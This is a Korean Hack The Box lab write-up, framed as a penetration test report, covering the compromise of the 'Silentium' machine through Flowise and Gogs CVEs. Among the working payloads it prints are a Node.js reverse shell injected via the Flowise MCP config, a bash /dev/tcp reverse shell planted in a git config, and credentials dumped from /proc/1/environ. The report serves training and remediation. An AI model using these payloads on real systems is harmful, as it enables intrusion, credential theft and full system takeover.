Search

[HTB] Silentium 인프라 침투 및 권한 장악 보고서

1. Executive Summary

본 프로젝트는 Silentium 사의 외부 노출 자산에 대한 초기 침투부터 호스트 OS의 최고 권한(Root) 탈취까지의 전 과정을 검증하였다. 공격은 외부 도메인 정찰을 통해 식별된 Flowise AI 시스템의 인증 우회(CVE-2025-58434) 및 커맨드 인젝션(CVE-2025-59528) 취약점으로 시작되었으며, 컨테이너 환경 탈출 후 내부망에서 구동 중인 Gogs 서비스의 원격 코드 실행(CVE-2025-8110) 취약점을 악용하여 최종적으로 시스템 전체를 완벽하게 장악하였다.

2. Phase 1: Reconnaissance (정찰)

Tactic: Reconnaissance (TA0043) Technique: Active Scanning (T1595), Search Open Websites/Domains (T1593), Gather Victim Identity Information: Email Addresses (T1589.002), Active Scanning: Vulnerability Scanning (T1595.002), Search Open Websites/Domains (T1593)

최종 정찰 결과 요약

1.
ssh(22) 열려있으나 ID/PW 정보는 확인 불가하여 공격 가능성 낮음
2.
http(80) 가 열려있으나 서버에 요청하는 부분이 없음
⇒ web application exploit 쪽은 취약점이 없을 것으로 예상됨
3.
타겟 IP 대상으로 전체 포트 스캐닝 결과도 ssh와 http밖에 없음
⇒ UDP의 경우 filtered도 있었으나 공격 가능성 낮음
4.
서브 도메인 존재 여부 스캐닝 시도
http://staging.silentium.htb 확인

2.1 OS 및 서비스 포트 스캐닝 (Nmap)

타겟 IP(10.129.24.16)를 대상으로 활성화된 포트와 운영체제 정보를 확인하기 위해 Nmap 스캐닝을 수행하였다.
OS 버전 및 주요 포트 스캔
$ nmap -O 10.129.24.16 Starting Nmap 7.92 ( https://nmap.org ) at 2026-04-12 08:14 EDT Nmap scan report for 10.129.24.16 Host is up (0.46s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.0 - 5.4 (95%)
Bash
복사
전체 TCP 포트 정밀 스캔
$ nmap -p- --min-rate 5000 10.129.24.16 -v ... Discovered open port 80/tcp on 10.129.24.16 Discovered open port 22/tcp on 10.129.24.16 Completed SYN Stealth Scan at 08:52, 18.91s elapsed (65535 total ports) Nmap scan report for silentium.htb (10.129.24.16) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Bash
복사
[정찰 결과]
SSH(22/tcp)와 HTTP(80/tcp) 서비스가 활성화되어 있으며, Ubuntu 기반의 Nginx 서버가 구동 중임을 확인하였다. SSH는 크리덴셜 부재로 공격 대상에서 제외하고 HTTP 서비스 분석으로 전환하였다.

2.2 http 프로토콜 정찰 및 웹 서비스 정찰

http 프로토콜 정찰
* Trying 10.129.24.16:80... * Connected to 10.129.24.16 (10.129.24.16) port 80 (#0) > GET / HTTP/1.1 > Host: 10.129.24.16 > User-Agent: curl/7.81.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 301 Moved Permanently < Server: nginx/1.24.0 (Ubuntu) < Date: Sun, 12 Apr 2026 12:17:42 GMT < Content-Type: text/html < Content-Length: 178 < Connection: keep-alive < Location: http://silentium.htb/ < <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.24.0 (Ubuntu)</center> </body> </html> * Connection #0 to host 10.129.24.16 left intact
JavaScript
복사
[정찰 결과]
10.129.24.16 IP에 해당하는 silentium.htb 도메인을 확인하였다.
http://silentium.htb/ 정찰
메인 페이지
/assets/app.js
[정찰 결과]
메인 페이지 및 app.js 에서는 서버에 요청하는 부분이 없기 때문에 silentium.htb web application 에서는 최초 침투할 공격 벡터가 없다. 앞서서 웹 서버의 버전을 보면 최신 버전으로 웹 서버의 취약점을 악용하기도 어렵다. 따라서 서브 도메인 정찰을 통해 다른 시스템 식별이 필요하다.

2.3 서브 도메인 열거 (Subdomain Enumeration)

ffuf를 활용한 가상 호스트 스캐닝 결과
ffuf -u http://10.129.24.16 -H "Host: FUZZ.silentium.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 178,8753 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.3.1 Kali Exclusive <3 ________________________________________________ :: Method : GET :: URL : http://10.129.24.16 :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.silentium.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405 :: Filter : Response size: 178,8753 ________________________________________________ staging [Status: 200, Size: 3142, Words: 789, Lines: 70] :: Progress: [4989/4989] :: Job [1/1] :: 178 req/sec :: Duration: [0:00:31] :: Errors: 0 ::
Bash
복사
[정찰 결과]
http://staging.silentium.htb 엔드포인트를 식별하였으며, 해당 페이지가 Flowise AI 로그인 페이지임을 확인하였다.

2.4 웹 애플리케이션 정밀 정찰 및 정보 수집 (Active Web Reconnaissance)

서브 도메인(staging.silentium.htb) 식별 후, 타겟 애플리케이션(Flowise AI)의 구조와 공격 표면을 파악하기 위해 API 엔드포인트 분석 및 계정 열거(Enumeration)를 수행하였다.
타겟 소프트웨어 버전 및 취약점 정보 수집 (Fingerprinting)
애플리케이션의 공개된 API 엔드포인트(/api/v1/version)에 정상적인 HTTP GET 요청을 보내어 응답을 분석하였다.
[정찰 결과]
타겟 시스템이 Flowise 3.0.5 버전으로 구동 중임을 정확히 식별하였으며, 이를 통해 타겟 시스템이 최신 버전이 아닌 이전 버전을 사용하고 있어 해당 버전의 기지 취약점(CVE) 존재 여부를 파악하는 발판을 마련하였다.
사용자 계정 유추 및 검증 (User Enumeration)
http://silentium.htb/ 메인 페이지에서 시스템 관리자의 이름을 기반으로 이메일을 유추해볼 수 있다. 일반적으로 이메일을 단순하게 만드는 경우 이름@도메인(ex. ben@silentium.htb) 와 같은 이메일 형식이 나온다.
[정찰 결과]
이메일을 유추해서 로그인을 시도해본 결과 존재하지 않은 이메일인 경우 “User Not Found”라고 응답하고 존재하는 이메일인 경우 “Incorrect Email or Password”라고 응답한다. 따라서 ben@silentium.htb 이메일이 존재하는 것을 확인할 수 있다.

3. Phase 2: Initial Access (초기 침투)

Tactic: Initial Access (TA0001) Technique: Exploit Public-Facing Application (T1190)

3.1 관리자 계정 하이재킹 (CVE-2025-58434)

메인 페이지 팀원 소개 섹션에서 관리자 이메일(ben@silentium.htb)을 유추한 후, 패스워드 변경을 시도하려고 하였으나 패스워드를 변경하기 위해서는 Reset Token이 필요하다.
ben@silentium.htb 비밀번호 변경하기 전에 패스워드 리셋을 요청해본 결과 tempToken 값이 응답이 오는 것을 확인할 수 있었고 이 토큰이 패스워드를 리셋하기 위해 필요한 Reset Token으로 유추된다.
tempToken을 입력 후 패스워드를 임의로 변경(Password1!)을 시도하였고 성공적으로 변경할 수 있었다.
변경된 비밀번호를 기반으로 로그인을 시도한 결과 성공적으로 관리자 계정으로 로그인 할 수 있었다.

3.2 Flowise MCP Command Injection (CVE-2025-59528)

해당 Flowise AI의 버전에는 CumtomMCP 기능에 Command Injection 취약점이 존재한다. 관리자 권한으로 로그인 후, 해당 부분을 이용해서 Custom MCP 설정 기능을 통해 임의의 명령 실행 취약점을 이용해서 리버스 쉘을 실행해서 침투하였다.
악성 Node.js 리버스 쉘 페이로드 주입
{ "loadMethod":"listActions", "inputs":{ "mcpServerConfig":"({x:(function(){const net=process.mainModule.require('net'),cp=process.mainModule.require('child_process'),sh=cp.spawn('/bin/sh',[]);const client=new net.Socket();client.connect(4444,'10.10.16.246',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return 1;})()})" } }
JSON
복사
침투 시도 결과 CVE-2025-59528 취약성은 존재하였고 해당 취약성을 이용해서 내부 침투에 성공하였다. 그런데 최초 침투에 성공한 결과로 root 권한을 획득한 것이 이상하다. 해당 환경은 실제 시스템이 아닌 가상환경 혹은 컨테이너(유력)로 유추된다.

4. Phase 3: Post-Exploitation & Lateral Movement

Tactic: Discovery (TA0007), Credential Access (TA0006), Lateral Movement (TA0008) Technique: Credentials In Environment Variables (T1552.007), Valid Accounts (T1078)
Flowise MCP Command Injection(CVE-2025-59528)을 통해 획득한 쉘이 Host OS가 아닌 격리된 Docker 컨테이너 내부임을 확인(/.dockerenvcgroup 확인)하였다. 이후 호스트 시스템으로의 컨테이너 탈출(Container Escape) 및 권한 확장을 위해 아래와 같은 일련의 공격을 수행하였다.

4.1 환경 변수 내 크리덴셜 탈취

컨테이너 내부의 제한된 환경에서 추가적인 공격 벡터를 찾기 위해 시스템 설정 및 구동 환경 조사를 수행하였다. 특히 애플리케이션 구동 시 주입되는 환경 변수를 확인하기 위해 PID 1 프로세스의 환경 변수 파일을 탐색하였다.
/proc/1/environ 파일 분석 결과
cat /proc/1/environ | tr '\0' '\n' FLOWISE_PASSWORD=F1l3_d0ck3r ALLOW_UNAUTHORIZED_CERTS=true NODE_VERSION=20.19.4 HOSTNAME=c78c3cceb7ba YARN_VERSION=1.22.22 SMTP_PORT=1025 SHLVL=1 PORT=3000 HOME=/root SENDER_EMAIL=ben@silentium.htb PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser JWT_ISSUER=ISSUER JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD SMTP_USERNAME=test SMTP_SECURE=false JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200 FLOWISE_USERNAME=ben PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin DATABASE_PATH=/root/.flowise JWT_TOKEN_EXPIRY_IN_MINUTES=360 JWT_AUDIENCE=AUDIENCE SECRETKEY_PATH=/root/.flowise PWD=/ SMTP_PASSWORD=r04D!!_R4ge SMTP_HOST=mailhog JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD SMTP_USER=test
Bash
복사
[분석 결과]
ID : ben / PW : r04D!!_R4ge

4.2 SSH 기반 호스트 Lateral Movement

정찰(Recon) 단계에서 확인했던 호스트의 열린 포트인 SSH(22/tcp) 서비스에 탈취한 크리덴셜(ben / r04D!!_R4ge)을 대입하는 크리덴셜 스터핑(Credential Stuffing)을 시도하였다.
SSH 로그인 및 user.txt 확인
[침투 결과]
SSH 인증을 성공적으로 통과하여 컨테이너 환경을 벗어나 Host OS의 ben 사용자 권한을 획득하였으며, 해당 유저의 홈 디렉토리에서 최종적으로 user.txt 플래그를 탈취 완료하였다.

5. Phase 4: Privilege Escalation (최종 권한 상승)

Tactic: Privilege Escalation (TA0004), Discovery (TA0007) Technique: Exploitation for Privilege Escalation (T1068), System Network Connections Discovery (T1049), Process Discovery (T1057), Network Service Discovery (T1046), File and Directory Discovery (T1083)
호스트 머신으로의 횡적 이동(Lateral Movement)에 성공하여 일반 유저(ben) 권한을 획득한 후, 시스템 전체를 장악하기 위한 최고 관리자(Root) 권한 상승을 시도하였다.

5.1 로컬 서비스 교차 분석 (Local Enumeration)

일반 유저(ben) 권한에서 root로 상승하기 위해 내부 포트와 프로세스를 대조 분석하였다. netstat의 PID 블라인드 제약을 극복하기 위해 소거법을 사용하였다.

[STEP 1: 초기 설정 취약점 점검 - 공통 벡터의 배제]

가장 먼저 시스템의 고전적인 취약 설정(Misconfiguration) 존재 여부를 파악하였다. 이는 공격 효율성을 높이기 위한 필수적인 선행 단계이다.
Sudo 및 계정 권한 확인: sudo -l 명령을 통해 현재 유저가 패스워드 없이 실행 가능한 명령이 있는지 확인하였으나, ben 유저는 sudo 권한이 부여되지 않았음을 확인하였다.
$ sudo -l [sudo] password for ben: Sorry, user ben may not run sudo on silentium.
Bash
복사
$ id uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
Bash
복사
SUID(Set User ID) 바이너리 탐색: find 명령을 사용하여 root 권한으로 실행되는 특수 권한 파일들을 전수 조사하였다. 결과에 포함된 sudo, su, passwd 등은 운영체제의 표준 바이너리들이며, 권한 상승에 악용 가능한 커스텀 SUID 파일은 식별되지 않았다.
$ find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null -rwsr-xr-x 1 root root 76248 May 30 2024 /usr/bin/gpasswd -rwsr-xr-x 1 root root 39296 Mar 6 16:00 /usr/bin/umount -rwsr-xr-x 1 root root 72792 May 30 2024 /usr/bin/chfn -rwsr-xr-x 1 root root 39296 Apr 8 2024 /usr/bin/fusermount3 -rwsr-xr-x 1 root root 40664 May 30 2024 /usr/bin/newgrp -rwsr-xr-x 1 root root 277936 Mar 2 12:56 /usr/bin/sudo -rwsr-xr-x 1 root root 51584 Mar 6 16:00 /usr/bin/mount -rwsr-xr-x 1 root root 55680 Mar 6 16:00 /usr/bin/su -rwsr-xr-x 1 root root 44760 May 30 2024 /usr/bin/chsh -rwsr-xr-x 1 root root 64152 May 30 2024 /usr/bin/passwd -rwsr-xr-- 1 root messagebus 34960 Aug 9 2024 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 18736 Dec 2 2024 /usr/lib/polkit-1/polkit-agent-helper-1 -rwsr-xr-x 1 root root 342632 Mar 4 17:55 /usr/lib/openssh/ssh-keysign
Bash
복사
스케줄링 작업(Cron Jobs) 분석: /etc/crontab 및 관련 디렉토리를 조사하여 주기적으로 실행되는 스크립트 중 쓰기 권한이 열린 항목이 있는지 점검하였으나, 모든 작업은 기본 시스템 관리 항목으로 제한되어 있었다.
$ cat /etc/crontab 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
Bash
복사
[분석 결과]
시스템의 기본 설정은 보안 가이드라인에 따라 견고하게 구성되어 있었으며, 일반적인 설정 오류를 통한 권한 상승은 불가능한 상태(Dead End)임을 확인하였다.

[STEP 2: 내부 서비스 교차 분석 - 은닉된 타겟 식별]

설정 취약점이 부재한 상황에서, 시스템 내부에서만 구동 중인 서비스(Local-only Services)로 분석 범위를 확장하였다. 이 과정에서 제한된 정보(PID 블라인드)를 논리적 추론으로 극복하는 '소거법'을 적용하였다.
1.
네트워크 연결 상태 분석 (제약 사항 발생)
netstat -tulpn 명령으로 열린 포트를 확인한 결과, 다수의 서비스가 localhost (127.0.0.1)에서만 대기 중임을 식별하였다. 그러나 일반 유저 권한의 제약으로 인해 해당 포트를 사용하는 프로세스 정보(PID/Program name)가 모두 숨겨진 상태(-)로 출력되었다.
$ netstat -tulpn (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:1025 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8025 0.0.0.0:* LISTEN -
Bash
복사
2.
프로세스 목록과의 교차 검증 (소거법 적용) PID 정보 부재를 해결하기 위해, 커널 스레드를 제외하고 필터링한 전체 프로세스 목록(ps -ef)을 확보하여 네트워크 포트 정보와 대조 분석하였다.
포트 3000: 초기 침투 단계에서 확인한 Flowise 애플리케이션의 환경 변수 및 docker-proxy 설정과 일치하여 기지 서비스로 분류.
포트 1025, 8025: 프로세스 목록의 docker-proxy 인자값을 통해 컨테이너 내부의 MailHog 서비스(SMTP/Web UI)가 점유하고 있음을 확인하여 소거.
포트 3001 (핵심 타겟): 모든 기지 서비스를 소거한 결과, 프로세스 목록에서 식별된 root 권한의 Gogs 바이너리(/opt/gogs/gogs/gogs web)가 점유할 유일한 후보군으로 압축되었다.
netstatps 교차 검증
$ ps -ef | grep -v "\[" | grep ^root root 1527 1 0 11:21 ? 00:00:04 /opt/gogs/gogs/gogs web root 2019 1612 0 11:21 ? 00:00:01 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3000 -container-ip 172.18.0.2 -container-port 3000 -use-listen-fd root 2050 1612 0 11:21 ? 00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 1025 -container-ip 172.18.0.3 -container-port 1025 -use-listen-fd root 2056 1612 0 11:21 ? 00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8025 -container-ip 172.18.0.3 -container-port 8025 -use-listen-fd
Bash
복사
[최종 분석 결론]
시스템 내부 정찰을 통해 Gogs 서비스가 최고 관리자(root) 권한으로 실행 중 이며, 이는 로컬3001번 포트를 통해 접근 가능하다는 사실을 논리적으로 증명하였다. 또한 /opt/gogs/gogs/gogs -v명령으로 해당 서비스가 0.13.3이라는 취약한 버전을 사용 중임을 최종 확정하고, 이를 기반으로 CVE-2025-8110(Symlink RCE) 공격 계획을 수립하였다.

5.2 Gogs Symlink RCE (CVE-2025-8110) 악용

Gogs 0.13.3 버전의 API가 심볼릭 링크를 처리할 때 원본 파일을 검증하지 않는 취약점을 악용하였다.

[CAPTCHA 우회 및 익스플로잇 전략]

해당 시스템은 무작위 공격을 방지하기 위해 캡차(CAPTCHA)가 적용되어 있어, 익스플로잇 스크립트(CVE-2025-8110.py)의 자동 회원가입 로직이 서버로부터 거부(HTTP 200 처리 후 재귀)되는 방어 기제가 존재했다. 이를 극복하기 위해 포트 포워딩된 웹 인터페이스(http://localhost:3001)에 직접 접속하여 수동으로 캡차를 해제하고 신규 공격자 계정(htbhacker / hacker123)을 생성하는 방식으로 방어 로직을 우회하였다.
이후 생성한 계정 정보를 스크립트에 연동하여, 백그라운드에서 다음과 같은 3단계 익스플로잇 체인(Exploit Chain)이 자동 수행되도록 공격을 전개하였다.
1.
SSH 터널링: 로컬 3001 포트를 공격자 PC로 포워딩
ssh -L 3001:127.0.0.1:3001 ben@10.129.24.16
Bash
복사
2.
악성 Symlink 생성: htbhacker 계정으로 신규 저장소(c73123f63c36)를 생성한 뒤, 타겟 서버의 핵심 설정 파일인 .git/config를 가리키는 심볼릭 링크를 원격 저장소에 푸시(Push)한다.
3.
API Bypass를 통한 원본 파일 변조: Gogs의 PutContents API를 호출하여 심볼릭 링크 수정을 요청한다. 이때 취약점으로 인해 심볼릭 링크 파일 자체가 아닌, 링크가 가리키고 있는 서버의 실제 .git/config 파일의 내용이 덮어씌워진다.
4.
sshCommand 주입 및 RCE 트리거: 변조된 설정 파일 내부에 공격자 리스너로 연결되는 악성 페이로드(sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.16.246/5555 0>&1')를 주입한 뒤, 후속 Git 명령을 발생시켜 시스템 root 권한으로 해당 명령어가 실행되도록 유도한다.
증적: 하이브리드 익스플로잇 스크립트 실행 및 타겟 서버 공격 패킷 전송 완료
$ python3 CVE-2025-8110.py -u http://localhost:3001 -lh 10.10.16.246 -lp 5555 [+] Authenticated successfully Token generation status: 200 [+] Application token: cbb8795ebe8e69d6e8c017e1baf0b558f567a1e1 Repo creation status: 201 Cloning into '/tmp/c73123f63c36'... ... (생략) ... [master 1df0ee5] Add malicious symlink 1 file changed, 1 insertion(+) create mode 120000 malicious_link ... (생략) ... To http://localhost:3001/htbhacker/c73123f63c36.git b8e3b83..1df0ee5 master -> master [+] Exploit sent, check your listener!
Bash
복사

5.3 최종 Root 권한 장악

취약점 트리거 명령이 완료됨과 동시에, 타겟 서버에서 root 권한으로 동작 중이던 Gogs 백그라운드 프로세스가 주입된 sshCommand를 실행하였다. 사전에 대기 중이던 공격자 PC의 리스너로 접속이 이루어지며 시스템 최고 권한을 완벽하게 탈취하였다.
리스너를 통해 root 쉘 및 플래그 획득
$ nc -lvnp 5555 connect to [10.10.16.246] from (UNKNOWN) [10.129.24.16] root@silentium:~# whoami root root@silentium:~# cat /root/root.txt [ROOT_FLAG_CONTENTS]
Bash
복사

6. Conclusion & Recommendations

6.1 종합 평가 (Executive Conclusion)

본 모의해킹을 통해 Silentium 인프라의 외부 접점부터 내부망 핵심 시스템까지의 전반적인 보안 수준을 점검한 결과, 단일 취약점이 아닌 '다중 보안 결함의 연쇄 작용(Chained Vulnerabilities)'으로 인해 시스템 전체에 대한 통제권이 상실되는 치명적인 결과가 도출되었다.
외부 공격 표면인 Flowise AI의 구버전 운용으로 인해 초기 침투가 허용되었으며, 컨테이너 내부에 평문으로 노출된 크리덴셜은 공격자가 호스트 시스템으로 횡적 이동(Lateral Movement)을 수행할 수 있는 결정적 단서를 제공하였다. 나아가, 내부망에서 구동 중이던 Gogs 서비스가 최고 관리자(root) 권한으로 실행되고 있었으며, 원격 코드 실행 취약점(CVE-2025-8110)까지 내포하고 있어 최종 방어선이 완전히 붕괴되었다.
특히, 방어 기제로 동작하던 CAPTCHA 로직을 수동으로 우회한 뒤 RCE 익스플로잇 스크립트를 연계하는 '하이브리드 공격'이 유효했음을 고려할 때, 단편적인 보안 솔루션 도입을 넘어 아키텍처 전반의 권한 분리 및 시크릿 관리 프로세스에 대한 근본적인 재설계가 요구된다.

6.2 단기적 보안 조치 사항 (Immediate Remediation)

확인된 침투 경로를 즉각적으로 차단하기 위해 다음의 보안 조치를 최우선으로 수행해야 한다.
1.
취약한 애플리케이션 보안 패치 및 업데이트 적용
Flowise AI: 인증 우회(CVE-2025-58434) 및 Command Injection(CVE-2025-59528) 취약점이 존재하는 3.0.5 버전을 최신 안정화 버전(3.1.1 이상)으로 즉시 업데이트해야 한다.
Gogs: 내부망에서 구동 중인 Gogs 0.13.3 버전을 Symlink RCE 취약점(CVE-2025-8110)이 패치된 0.13.4 이상 버전으로 즉각 업데이트해야 한다.
2.
유출된 크리덴셜 즉시 폐기 및 일괄 교체
컨테이너 환경 변수(/proc/1/environ)를 통해 노출된 모든 크리덴셜(ben 계정 패스워드, SMTP 패스워드 등)을 즉시 폐기 조치해야 한다. 아울러 해당 자격 증명과 연관된 모든 시스템(SSH, 사내 메일 서버 등)의 패스워드 및 API 키를 일괄 재발급해야 한다.
3.
활성화된 세션 강제 만료
취약점을 통해 탈취되었을 가능성이 있는 모든 관리자 세션 및 JWT 토큰을 만료 처리하고, 전체 사용자를 대상으로 로그아웃 처리 및 재로그인을 강제해야 한다.

6.3 중장기적 아키텍처 선 방안 (Strategic Recommendations)

유사한 침투 시나리오의 재발을 방지하고 심층 방어(Defense-in-Depth) 체계를 구축하기 위해 다음의 아키텍처 개선을 권고한다.
1.
최소 권한의 원칙 (Principle of Least Privilege) 엄격 적용
Gogs 및 Flowise와 같은 웹 기반 애플리케이션은 어떠한 경우에도 root 권한으로 실행되어서는 안 된다. 서비스 구동을 위한 전용 로컬 계정(예: git 또는 gogs)을 생성하고, 필수적인 디렉토리에 대해서만 접근 권한을 제한적으로 부여하여 애플리케이션 침해 사고가 운영체제 전체의 장악으로 이어지지 않도록 격리해야 한다.
2.
안전한 시크릿 관리 (Secure Secret Management) 체계 도입
컨테이너 배포 시 환경 변수(ENV 또는 .env 파일)를 통해 민감한 크리덴셜을 평문으로 주입하는 관행을 전면 금지해야 한다. Docker Secrets, Kubernetes Secrets 또는 HashiCorp Vault와 같은 중앙 집중형 시크릿 관리 솔루션을 도입하여, 자격 증명이 메모리 덤프나 파일 시스템 조회를 통해 불법적으로 노출되지 않도록 아키텍처를 고도화해야 한다.
3.
관리자 인터페이스 보호 및 다중 인증(MFA) 의무화
Flowise AI와 같은 주요 관리 도구는 외부 인터넷(staging.silentium.htb)에 직접 노출시키지 않고, VPN 접속 또는 제로 트러스트 네트워크 접속(ZTNA)을 통해서만 접근 가능하도록 통제하여 외부 공격 표면을 최소화해야 한다.
또한 CAPTCHA와 같은 단일 방어 로직은 수동 개입에 의해 원천적으로 우회될 수 있으므로, 관리자 계정 접근 시 반드시 하드웨어 보안 키 또는 OTP 기반의 다중 인증(MFA)을 의무화해야 한다.